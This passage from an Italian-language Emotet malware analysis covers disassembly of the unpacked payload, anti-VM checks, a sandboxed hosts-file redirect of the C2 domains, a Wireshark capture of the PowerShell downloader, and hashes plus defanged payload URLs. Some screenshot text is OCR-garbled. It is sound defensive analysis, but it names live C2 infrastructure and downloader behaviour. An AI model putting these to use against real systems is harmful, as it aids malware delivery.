034000	00	000120	00	00	10	00	00	10	00	00	00	00	00	00	10	00	00	00		• • • • •	• •	
665000	00	000130	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			• •	
000000	00	000140	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00				
	00	000150	00	00	00	00	00	00	00	00	00	30	01	00	8C	05	00	00	•••••	0	••	
(115000	00	000160	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00		• • • • •	••	
(19a000	00	000170	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00		• • • • •	••	
(95000	00	000180	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	•••••	••••	••	
(7ffaf5782000	4 00	000190	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00		• • • • •	• •	
	00	0001a0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00				
	00	001000	2e	14	65	/8	14	00	00	00	24	CC	00	00	00	10	00	00	.text		••	
	00	000100	00	ce	00	00	00	04	00	00	00	00	00	00	00	00	00	00			••	
	00	000100	00	00	00	00	20	00	00	60	2e	12	64	61	14	61	00	00		rdata		
	00	0001e0	00	Ub	00	00	00	eu	00	00	00	UC	00	00	00	d2	00	00				~

Successivamente viene effettuato il dump della locazione di memoria da analizzare ed aprendolo con il software Pestudio possiamo confermare che si tratta di un file eseguibile.

	.data:0040C9A0			
	.data:0040C9A0	; FUNCTI	[ON CHUNK AT .data:0040CB9A S]	ZE 0000006 BYTES
	.data:0040C9A0			
•	.data:0040C9A0	push	ebp	
0	.data:0040C9A1	MOV	ebp, esp	
•	.data:0040C9A3	and	esp, OFFFFFF8h	
٠	.data:0040C9A6	sub	esp, 674h	
۰	.data:0040C9AC	push	ebx	
۰	.data:0040C9AD	push	esi	
۰	.data:0040C9AE	push	edi	
٠	.data:0040C9AF	call	sub_40B5B0	
•	.data:0040C9B4	call	sub_40BCA0	
•	.data:0040C9B9	push	104h	; _DWORD
۰	.data:0040C9BE	lea	eax, [esp+684h+var_208]	
•	.data:0040C9C5	push	eax	; _DWORD
2	.data:0040C9C6	push	0	; _DWORD
•	.data:0040C9C8	call	getModuleFileName	; GetModuleFileName
۰	.data:0040C9CE	mov	ax, [esp+68Ch+var_214]	
٠	.data:0040C9D6	lea	ecx, [esp+68Ch+var_214]	
۰	.data:0040C9DD	xor	edi, edi	
•	.data:0040C9DF	test	ax, ax	
-	.data:0040C9E2	jz	short loc_40CA06	
•	.data:0040C9E4	MOVZX	eax, ax	
•	.data:0040C9E7	jmp	short loc_40C9F0	
	.data:0040C9E9	;		
•	.data:0040C9E9	lea	esp, [esp+0]	
	.data:0040C9F0			
	0000AFC8 0040C9C8	: sub 40C	9A0+28 (Synchronized with EIP)	

Arrivati a questo punto, possiamo dire che la 40C9A0 é la funzione da cui iniziano le operazioni del malware vero e proprio. Infatti continuando l'analisi è stato possibile trovare gli stessi comandi utilizzati precedentemente nelle funzioni analizzate finora come ad esempio: LoadLibraryExA(kernel32.dll), GetProcessVirtualAlloc, ecc. .

Tutti i dati elaborati in questa fase vengono di nuovo salvati e decifrati attraverso una XOR.

Successivamente viene fatta una call getModuleFileName che consente di ottenere la stringa contenente il path del file.exe, che viene letta fino all'ultimo carattere.

ne	Luit Jui	np Search	VIEW DED	ugger O	ptions		10000	3 1101									
		local Win32 d	ebugger		e	3.	그 뗵	) 🛄	무 글리		00 00	63	<b>,</b>	∎ <i>\</i> {	<b>1</b>		
L	Librarv fur	nction 📃 Da	ta 📕 Requ	lar functior	n 📃 U	nexp	lored	In:	[esp+6	8Ch+var	_214]=	[Stac	ck[0	00011	E68]:(	0019FC	C 0]
		Debug \	iew		×	A					db	5Ah	; Z				
		-FID D	Deput	lacada C		175	Deeu	docodo			db	Ø					
-	IDA VIEV		" rseuc	locode-c		455	rseut	uocoue			db	3Ah	; :				
	EUMO	TTON CH	MR AT	datai0	01.001	0.0.0	617				db	U					
	FUNG	TION CHU	PIR HI.	udid.0	04061	0.2.H	312	.C 01			db	SUN	: /				
	uch	obo									dD	U					
	0.1	eup obn c	CD.								ab	530	; 2				
	nd	ecp, c	FEFEFE	8h							db	405					
	ub	ocn A	7.//.	on							UU db	0811	; II				
	ush	ehy e									db	615					
	ush	esi									db	0111	, d				
	ush	edi									db	79h	- p				
	a11	sub 40	B5B0								db	6					
	all	sub 40	BCAO								db	65h					
	ush	104h						1.1			db	0.01	, C				
•	ea	eax. [	esp+684	h+var 🗄	2 08 1			1946			db	64h	• d				
•	ush	eax						1			db	ß	, .				
	ush	0									dh	50h	5 N				
•	a11	getMod	uleFile	Name							db	ß	, ,				
IP	0V	ax, [e	sp+68Ch	+var_2	14]						db	65h	: e				
•	ea	ecx,	esp+68C	h+var 🗄	214]						db	0	, -				
•	or	edi, e	di		-						db	6Dh	; 0				
•	est	ax, ax									db	Ø	-				
	z	short	10c_40C	A 06							db	6Fh	; 0				
•	OVZX	eax, a	X								db	0					
1	mp	short	10c_40C	9F 0							db	74h	; t				
											db	0					
•	ea	esp, [	esp+0]								db	65h	; e				
											db	0					
	00004	FCE 0040C9	CE sub	400980+3	E (SU	nch	roni	zed w			db	74h	; t				
			<u></u>	1005/1012	-ц (о <u>ч</u>	nen	LOULT	200 1			db	G					
++											db	5Ch	; \				
2 He	x View-1						1.01.000		-		db	0					
104	012D0	07 E8 6	A FE FF	FF 8B	C8	8B	45	10 8			db	77h	; W	E			
104	012E0	FC 43 8	B 4D F8	8B 55	E4	38	58	18 7			db	U					
104	012F 0	61 66 6	1 00 5B	88 E5	50	03	CC	CC C			db	//h	; W	F			
104	01300	55 8B E	C 51 64	A1 30	មម	មម	មម	53 5	1		ab	0					
0000	06F0 00	4012F0: s	tart mal	ware+10							0D	ZEN					
	tout wind	ow									db	ACH					
Bu l	ACA AZ -	Enilod	to ever	o buoni	Inci						UU db	0511	, e				
9X4	00H00:	LATTER	cu erds	e urea	κμοτι	nt i					db	785					
Pyth	non	1000 I.							-		db	01	, 0				
.U:	idle	Down Di:	sk: 15GB	_	_			_			db	65h	: 0				
		_				-					35	0.711	, .				

Di seguito viene fatta una call GetCommandLine che prende la stringa contenente il path del file.exe e il parametro richiesto in input. Vengono poi comparati i dati presi dalla GetCommandLine con la stringa contenente il path del file.exe e il parametro calcolato dal programma, come possiamo vedere nelle foto riportate di seguito.

	.data:0040CA70	10c_40CA	170:	; (	CODE XREF
- <b>&gt; 0</b>	.data:0040CA70	lea	<mark>eax</mark> , [esp+696h+var_428+2]		
P	.data:0040CA77	push	eax and a second s	÷.,	DWORD
۰	.data:0040CA78	push	edi	φ.	DWORD
•	.data:0040CA79	call	stromp		
.0	.data:0040CA7F	test	eax, <mark>eax</mark>		
-	.data:0040CA81	jnz	1oc_40CB36		

	00111 0	TER	cun, [cu	P . O	2011. A01 _ 450.51				
ł	0CA77	push	eax			- Ç _	DW	OR	)
•	0CA78	push	edi		1000 FAAAA Jack CAAAAA ADO 1	- 0040		DO	)
	0CA79	call	strcmp		eax-scack[00001000]	- 0013 906	7 F F	100	
•	ØCA7E	test	eax, eax		UD	2011	9		
	80.481	inz	loc 40CB	36	ao 	0			
•	80087	000	100 1000	00	db	20n	5	-	
	00000	ade		cot	db	0			
	00000	auc	can, orr	set	db	38h	-	8	
	00400	, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,			db	0			
	OCHOD	<b>OD</b> 33N	; 3		db	63h	÷,	С	
	<b>UCASE</b>	;			db	0			
	OCA8E	sal	bh, cl		db	39h	5	9	
	0CA8E	;			dh	ß	2		
	0CA90	db OF6h	; ÷		db	61h		а	
					db		3	· ·	
	0000B0	7F 0040CA7	F: sub_400	:9A0-	UD 45	246	-	_	
	<				uu	0 111	2	d	
~					dD	6			
EX		07 50 14			db	37h	5	7	
łł	91200	07 E8 6A	I FE FF FI	- 81	db	0			
ŧ	912E0	FC 43 8B	4D F8 8	B 59	db	36h	-	6	
ŧ(	312F 0	01 00 00	00 5B 8I	B E	db	0			
ŧ (	31300	55 8B EC	51 64 A	1 30	db	39h	2	9	
0	0.000	01050.			dh	ß	2		
0	0610 004	IUIZEU: St	art_maiwar	re+1					

Continuando a seguire il flusso del codice, si è arrivati ad un punto in cui abbiamo riscontrato dei controlli di sicurezza che non ci hanno permesso di continuare la nostra analisi poiché controllano se il malware viene eseguito su una macchina virtuale e se viene utilizzato un decompilatore come strumento di analisi.

## 2.4 Analisi del traffico della rete con Wireshark

Vista l'impossibilità di proseguire l'analisi del malware nella fase di debugging abbiamo deciso di studiare il traffico di rete generato dall'esecuzione dello script powershell.

Inizialmente abbiamo creato una nuova Macchina Virtuale con sistema operativo Linux nella quale è stato configurato un server Apache con lo scopo di simulare il dominio al quale lo script effettua la richiesta per scaricare il payload. Abbiamo creato un path identico all'URI(/css/GOOvqd) del dominio preso in considerazione (jpmtech.com) e al suo interno siamo andati ad inserire il file eseguibile della calcolatrice di Windows(calc.exe) convertito in un file.html (index.html).

Successivamente siamo tornati alla configurazione della macchina Windows per modificare le impostazioni di rete così da mettere un indirizzo ip statico della stessa classe dell'indirizzo ip della macchina Linux.

In seguito siamo passati alla configurazione del file host di Windows nel quale abbiamo reindirizzato tutti i domini rilevati nello script powershell all'ip del server apache.

```
# Copyright (c) 1993-2009 Microsoft Corp.
 1
 2
    ±
    # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
 3
 4
    #
 5
    # This file contains the mappings of IP addresses to host names. Each
 6
    # entry should be kept on an individual line. The IP address should
 7
    # be placed in the first column followed by the corresponding host name.
 8
    # The IP address and the host name should be separated by at least one
 9
    # space.
10
    #
11
    # Additionally, comments (such as these) may be inserted on individual
12
    # lines or following the machine name denoted by a '#' symbol.
13
    #
14
    # For example:
15
    #
16
           102.54.94.97
    #
                            rhino.acme.com
                                                     # source server
17
            38.25.63.10
    #
                            x.acme.com
                                                     # x client host
18
19
    # localhost name resolution is handled within DNS itself.
20
    #
       127.0.0.1
                        localhost
21
    #
        ::1
                        localhost
22
    10.0.2.15 jpmtech.com
23
    10.0.2.15 webaphobia.com
24
25
    10.0.2.15 montalegrense.graficosassociados.com
               purimaro.com
26
    10.0.2.15
27
    10.0.2.15 118.89.215.166
```

Fatto ciò abbiamo configurato entrambe le macchine in una rete interna, in modo tale da renderle comunicanti ed isolate dalla rete esterna.

Conclusa la configurazione delle macchine abbiamo aperto il file .doc del Malware in modo tale da poter filtrare i pacchetti HTTP sulla rete Ethernet utilizzando il software Wireshark.



L'analisi del traffico di rete ha evidenziato le richieste e le rispettive risposte effettuate ai domini. Come possiamo vedere in foto, le prime due richieste effettuate non hanno ricevuto riscontro poiché i domini non essendo stati configurati risultano non attivi, a differenza della terza richiesta la quale risulta effettuata correttamente dato che il server è stato configurato per simulare quel determinato dominio.

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help         Image: Computer Analyze Statistics Telephony Wireless Tools Help         Image: Computer Analyze Statistics Telephony Wireless Tools Help         Image: Computer Analyze Statistics Telephony Wireless Tools Help         No.       Time       Source       Destination       Protocol Length Info         32 23:397356       10.0.2.15       10.0.2.15       HTTP       130 6ET / images/72Ca/ HTTP/1.1         34 23:397876       10.0.2.15       10.0.2.15       HTTP       547 HTTP/1.1 404 Not Found (text/h         71 45:677819       10.0.2.16       10.0.2.15       HTTP       555 HTTP       555 HTTP/1.1         100 45:716838       10.0.2.15       10.0.2.16       HTTP       555 HTTP/1.1       200 OK (text/html)         100 45:716838       10.0.2.15       10.0.2.16       HTTP       273 HTTP/1.1       200 OK (text/html)         100 45:716838       10.0.2.15       10.0.2.16       HTTP       273 HTTP/1.1       200 OK (text/html)         100 45:716838       10.0.2.15       10.0.2.16       HTTP       273 HTTP/1.1       200 OK (text/html)         100 45:716838       10.0.2.15       10.0.2.16       HTTP       273 HTTP/1.1       200 OK (text/html)         101 HTTP response 1/1]       [Time since request: 0.73 <th></th> <th>- 0</th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th>thernet</th> <th>4</th>		- 0								thernet	4
Image: Source         Destination         Protocol         Length         Info           32 23.30736         10.0.2.16         10.0.2.15         HTTP         130 GET / images/72Ca/ HTTP/1.1           34 23.30736         10.0.2.15         10.0.2.15         HTTP         540 ET / images/72Ca/ HTTP/1.1           34 23.30736         10.0.2.15         10.0.2.15         HTTP         540 ET / images/72Ca/ HTTP/1.1           34 23.307376         10.0.2.15         10.0.2.15         HTTP         547 ETTP/1.1         404 Not Found (text/h           71 45.67403         10.0.2.15         10.0.2.15         HTTP         121 GET / i/ww/ HTTP/1.1           77 745.677019         10.0.2.15         10.0.2.16         HTTP         126 GET / i/ww/ HTTP/1.1           100 45.716838         10.0.2.15         10.0.2.16         HTTP         126 GET / i/ww/ HTTP/1.1           100 45.716838         10.0.2.15         10.0.2.16         HTTP         126 GET / i/ww/ HTTP/1.1           100 45.716838         10.0.2.15         10.0.2.16         HTTP         128 GET / i/ww/ HTTP/1.1           100 45.716838         10.0.2.15         10.0.2.16         HTTP         128 GET / i/ww/ HTTP/1.1           100 45.716838         10.0.2.15         HTTP         128 GET / i/ww/ HTTP/1.1         120 GET / i/ww/ HTTP/1.1				р	s H	Wireless Too	Statistics Telephony	re Analyze Sta	Go Captur	Edit Viev	File
Into           No.         Time         Source         Destination         Protocol         Length         Info           32         23.30736         10.0.2.16         10.0.2.15         HTTP         130         GET / images/72Ca/ HTTP/1.1           34         23.30736         10.0.2.15         10.0.2.15         HTTP         130         GET / images/72Ca/ HTTP/1.1           71         45.674403         10.0.2.15         10.0.2.15         HTTP         121         GET / images/72Ca/ HTTP/1.1           73         45.674403         10.0.2.15         10.0.2.15         HTTP         121         GET / images/72Ca/ HTTP/1.1           74         5.674073         10.0.2.15         10.0.2.15         HTTP         121         GET / images/72Ca/ HTTP/1.1           74         5.674073         10.0.2.15         10.0.2.16         HTTP         126         GET / images/72Ca/ HTTP/1.1           100         45.716838         10.0.2.15         10.0.2.16         HTTP         126         GET / images/72Ca/ HTTP/1.1           100         45.716838         10.0.2.15         10.0.2.16         HTTP         127         HTTP/1.1         1200 OK (text/html)           100         11.01         Get / imame: 721         [         [ <td< th=""><th></th><th></th><th></th><th></th><th></th><th>Q Q Q I</th><th>&gt; 🕾 🗿 🛓 📃 🔳</th><th><b>९</b> ⇔ ⊜ ⋸</th><th></th><th>1 🖉 🛞</th><th></th></td<>						Q Q Q I	> 🕾 🗿 🛓 📃 🔳	<b>९</b> ⇔ ⊜ ⋸		1 🖉 🛞	
No.     Time     Source     Destination     Protocol     Length     Info       32     23.307336     10.0.2.16     10.0.2.15     HTTP     130 GET /images/72Ca/ HTTP/1.1       34     23.307366     10.0.2.15     10.0.2.15     HTTP     130 GET /images/72Ca/ HTTP/1.1       71     45.674483     10.0.2.15     10.0.2.15     HTTP     121 GET /images/72Ca/ HTTP/1.1       73     45.674878     10.0.2.15     10.0.2.15     HTTP     121 GET /images/72Ca/ HTTP/1.1       73     45.674878     10.0.2.15     10.0.2.15     HTTP     126 GET /images/72Ca/ HTTP/1.1       74     5.674878     10.0.2.15     10.0.2.15     HTTP     126 GET /images/72Ca/ HTTP/1.1       100     45.716838     10.0.2.15     10.0.2.15     HTTP     126 GET /images/72Ca/ HTTP/1.1       100     45.716838     10.0.2.15     10.0.2.15     HTTP     120 GET /images/72Ca/ HTTP/1.1       100     45.716838     10.0.2.15     10.0.2.15     HTTP     120 GET /images/72Ca/ HTTP/1.1       100     45.716838     10.0.2.15     10.0.2.15     HTTP     273 HTTP/1.1     100 CK (text/html)       101     HTTP response 1/1]     [Time since request: 0.039819000 seconds]     [Request in frame: 77]     [Request URI: http://jpmtech.com/css/GOOvqd/]       File Data: 27648 bytes		X								5	ht
<pre> 32 23.307336 10.0.2.16 10.0.2.15 HTTP 130 GET /images/72Ca/ HTTP/1.1 34 23.30736 10.0.2.15 10.0.2.16 HTTP 547 HTTP/1.1 404 Not Found (text/h 71 45.674403 10.0.2.15 10.0.2.16 HTTP 121 GET /1/ww/ HTTP/1.1 73 45.674473 10.0.2.15 10.0.2.16 HTTP 545 HTTP/1.1 404 Not Found (text/h 77 45.677019 10.0.2.15 10.0.2.16 HTTP 126 GET /css/GOOvqd/ HTTP/1.1 100 45.716838 10.0.2.15 10.0.2.16 HTTP 273 HTTP/1.1 200 OK (text/html)  </pre> Connection: Keep-Alive\r\n Content-Type: text/html\r\n \r\n HTTP response 1/1 [Time since request: 0.039819000 seconds] Request in frame: 72] [Request URI: http://jpmtech.com/css/GOOvqd/] File Data: 27648 bytes Line-based text data: text/html (99 lines) [truncated]NZ@\000\000\000\000\000\000\000\000\000\0				enath i	ocol	Pro	Destination	irce	Sou	Time	No.
<pre> 34 23.307876 10.0.2.15 10.0.2.16 HTTP 547 HTTP/1.1 404 Not Found (text/h 71 45.674403 10.0.2.15 10.0.2.15 HTTP 121 GET /1/ww/ HTTP/1.1 73 45.674878 10.0.2.15 10.0.2.16 HTTP 545 HTTP/1.1 404 Not Found (text/h 77 45.67701 10.0.2.15 10.0.2.15 HTTP 126 GET /css/GOOvqd/ HTTP/1.1 100 45.716838 10.0.2.15 10.0.2.16 HTTP 273 HTTP/1.1 200 OK (text/html)  </pre> <		1.1	/images/72Ca/ HTTP/1	130	P	HTT	10.0.2.15	.0.2.16	7336 10.	32 23.30	
<pre> 71 45.674403 10.0.2.16 10.0.2.15 HTTP 121 GET /1/ww/ HTTP/1.1 73 45.674878 10.0.2.15 10.0.2.16 HTTP 545 HTTP/1.1 404 Not Found (text/h 77 45.677019 10.0.2.16 10.0.2.15 HTTP 126 GET /css/GOOvqd/ HTTP/1.1 100 45.716838 10.0.2.15 10.0.2.16 HTTP 273 HTTP/1.1 200 OK (text/html)  </pre> Connection: Keep-Alive\r\n Content-Type: text/html\r\n \r\n [HTTP response 1/1] [Time since request: 0.039819000 seconds] [Request in frame: 77] [Request URI: http://jpmtech.com/css/GOOvqd/] File Data: 27648 bytes   Line-based text data: text/html (99 lines) [truncated]MZ\$\000\000\000\000\000\000\000\000\000\0	ml)	(text/html)	P/1.1 404 Not Found	547 1	Р	нт	10.0.2.16	.0.2.15	7876 10.	34 23.30	
73 45.674878       10.0.2.15       10.0.2.16       HTTP       545 HTTP/1.1 404 Not Found (text/htm)         77 45.677019       10.0.2.16       10.0.2.15       HTTP       126 GET /css/GOOvqd/ HTTP/1.1         100 45.716838       10.0.2.15       10.0.2.16       HTTP       273 HTTP/1.1 200 OK (text/html)         Image: Connection: Keep-Alive\r\n Content-Type: text/html\r\n \r\n       Image: Connection: Keep-Alive\r\n Content-Type: text/html\r\n \r\n         [HTTP response 1/1]       Image: Connection: Keep-Alive\r\n Content: Condection: Condecti	- 6	Sector Sector	/1/ww/ HTTP/1.1	121 (	Р	HTT	10.0.2.15	0.2.16	4403 10.	71 45.67	
<pre>     77 45.677019 10.0.2.16 10.0.2.15 HTTP 126 GET /css/600vqd/ HTTP/1.1     100 45.716838 10.0.2.15 10.0.2.16 HTTP 273 HTTP/1.1 200 0K (text/html)      Connection: Keep-Alive\r\n     Connection: Keep-Alive\r\n     Content-Type: text/html\r\n     \r\n     HTTP response 1/1]     [Time since request: 0.039819000 seconds]     [Request in frame: 77]     [Request URI: http://jpmtech.com/css/600vqd/]     File Data: 27648 bytes     Line-based text data: text/html (99 lines)     [truncated]MZ\$\000\000\000\000\000\000\000\000\000\0</pre>	ml)	(text/html)	P/1.1 404 Not Found	545	Р	HTT	10.0.2.16	.0.2.15	4878 10.	73 45.67	
<pre> 100 45.716838 10.0.2.15 10.0.2.16 HTTP 273 HTTP/1.1 200 OK (text/html)  Connection: Keep-Alive\r\n Content-Type: text/html\r\n \r\n [HTTP response 1/1] [Time since request: 0.039819000 seconds] [Request in frame: 77] [Request URI: http://jpmtech.com/css/GGOvqd/] File Data: 27648 bytes Line-based text data: text/html (99 lines) [truncated]MZ\$\800\800\800\800\800\800\800\800\800\80</pre>		.1	/css/GOOvqd/ HTTP/1.	126	Р	нт	10.0.2.15	.0.2.16	7019 10.	77 45.67	+
<pre></pre> Connection: Keep-Alive\r\n Content-Type: text/html\r\n \r\n (HTTP response 1/1] [Time since request: 0.039819000 seconds] [Request in frame: 77] [Request in frame: 77] [Request URI: http://jpmtech.com/css/600vqd/] File Data: 27648 bytes  Line-based text data: text/html (99 lines) [truncated]MZ\$\000\000\000\000\000\000\000\000\000\0		html)	P/1.1 200 OK (text/h	273 1	Р	HTT	10.0.2.16	.0.2.15	.6838 10.	100 45.71	+
Connection: Keep-Alive\r\n Content-Type: text/html\r\n \r\n [HTTP response 1/1] [Time since request: 0.039819000 seconds] [Request in frame: 77] [Request URI: http://jpmtech.com/css/600vqd/] File Data: 27648 bytes ✓ Line-based text data: text/html (99 lines) [truncated]MZ�\000\000\000\000\000\000\000\000\000\0											<
<pre>Intequest URI: http://jpmtech.com/css/GOOvqd/] [Request URI: http://jpmtech.com/css/GOOvqd/] File Data: 27648 bytes  Line-based text data: text/html (99 lines) [truncated]MZ\$\000\000\000\000\000\000\000\000\000\0</pre>							00 seconds]	ve\r\n tml\r\n 0.039819000 s	on: Keep-Ali Type: text/h sponse 1/1] nce request:	Connecti Content- \r\n [HTTP re [Time si	
<pre>File Data: 27648 bytes  Line-based text data: text/html (99 lines) [truncated]MZ\$\000\000\000\000\000\000\000\000\000\0</pre>							om/css/600vad/1	/inmtech.com/c	URT: http:/	Request	
<pre> Line-based text data: text/html (99 lines) [truncated]MZ\$\000\000\000\000\000\000\000\000\000\0</pre>							om/ c55/ 666/44/ ]	es	a: 27648 byt	File Dat	
<pre>[truncated]MZ\$\000\003\000\000\000\000\000\000\000\00</pre>							99 lines)	ext/html (99 ]	text data: t	ne-based	Y Li
Character J (200) 000 (200) (200) 000 (200) 000 (200) 000 (200) 000 (200)	0\000\000 )0 <b>\$</b> @\034\ 4\002 <b>\$</b> \0	00\000\000\00 301�3t\000� 000�@\034\00	10\000\000\000\000@\000 ∲�\035t\000�\033t\0 \000�@\034��\032t\(	00\000 (022) (05 (05 (05) (05)	0�\ t\00 034\	80��\000\01 33t\000�\033 031t\000�@\	00\000\004\000\000\0 \025n�\033t\000�\0 \031t\000�@\034\t�	\003\000\000\0 0\000\000_\025 \034\003�\031	ted]MZ�\000 0\000\000\00 ted]t\000�@ \000\n \000\n	[trunca \r\n \$\000\000 [trunca \000\000	
	010001000	10001 F1 0001 00	201 0001 0001 0001 <b>0</b> 1 0001		000	00010001004	00\ 000\ 000\ 000 <b>A</b> \ 000	0000 0000 0000		F#	<
0020 02 10 00 50 0a 56 28 3f 70 c3 a3 b6 42 b7 50 18 ···P·V(? p···B·P·					. А В	····Y··· ' ····@·@· ····P·V <mark>(? p</mark>	d d8 5e 08 00 45 00 7 0a 00 02 0f 0a 00 3 a3 b6 42 b7 50 18	8 00 27 1d d8 0 06 0a 17 0a 8 3f 70 c3 a3	7 e6 e5 59 0 7 c0 40 00 4 3 50 0a 56 <mark>2</mark>	08 00 2 01 03 1 02 10 0	0000 0010 0020
Frame (273 bytee) Reassembled TCP (27959 bytes)							vtes)	TCP (27959 bytee)	Reassembler	(273 bytes)	Fram
Prane (275 bytes)     Redsenote (2755 bytes)     Packets: 270 · Displayed: 6 (2.2%)     P	o <mark>file:</mark> Default	Profile:	ts: 270 · Displayed: 6 (2.2%)	Pa			, y ocaj	col: Protocol	xt Transfer Proto	Hyperte	

Questo dimostra che viene svolta una richiesta alla volta e nel caso in cui non venga soddisfatta, si effettua la richiesta al dominio successivo.

Nonostante la richiesta al dominio da noi preso in considerazione sia andata a buon fine, il file eseguibile presente nel server Apache non viene scaricato ed eseguito come dovrebbe succedere con il payload originale. Analizzando più accuratamente lo script powershell ci siamo accorti che il file eseguibile deve avere una dimensione >= 38 kb per poter essere scaricato ed eseguito. A dimostrazione di quanto è stato detto sopra, abbiamo effettuato un ultimo test eseguendo le stesse operazioni ma mettendo nel server il file eseguibile "Mozilla Firefox Portable Edition" avente dimensione 102 MB.

Come possiamo vedere in foto la richiesta al dominio é stata effettuata con successo e lo script ha eseguito il file presente nel URI del dominio preso in considerazione.



## 3 Conclusione

Emotet è un malware sofisticato ed uno dei piú attivi al giorno d'oggi, che utilizza un avanzato packer personalizzato e un complicato algoritmo di crittografia, ogni giorno è possibile trovare nuovi binari sempre piú complessi. Emotet viene anche utilizzato per scaricare malware di terze parti su macchine infette. Tali payload di attacco sono progettati per rubare dati sensibili dalla vittima. Con questa analisi siamo riusciti a dimostrare come effettuare l'unpacking del malware Emotet fino alle prime istruzioni eseguite dall'eseguibile finale con una simulazione del funzionamento dello script e un'analisi del flusso di rete.

## 4 Referenze

### Hash SHA256:

45b3a138f08570ca324abd24b4cc18fc7671a6b064817670f4c85c12cfc1218f (Documento Word) 21145645cac74e0b590813eafd257a2c4af6c6be0bc86d873ad0e6c005c0911d (itsportal.exe)

### URL:

hxxp: // webaphobia [.] com / images / 72Ca / hxxps: // montalegrense [.] graficosassociados.com/keywords/FOYo/ hxxp: // purimaro [.] com / 1 / ww / hxxp: // jpmtech [ .] com / css / GOOvqd / hxxp: //118.89.215.166/wp-includes/I5/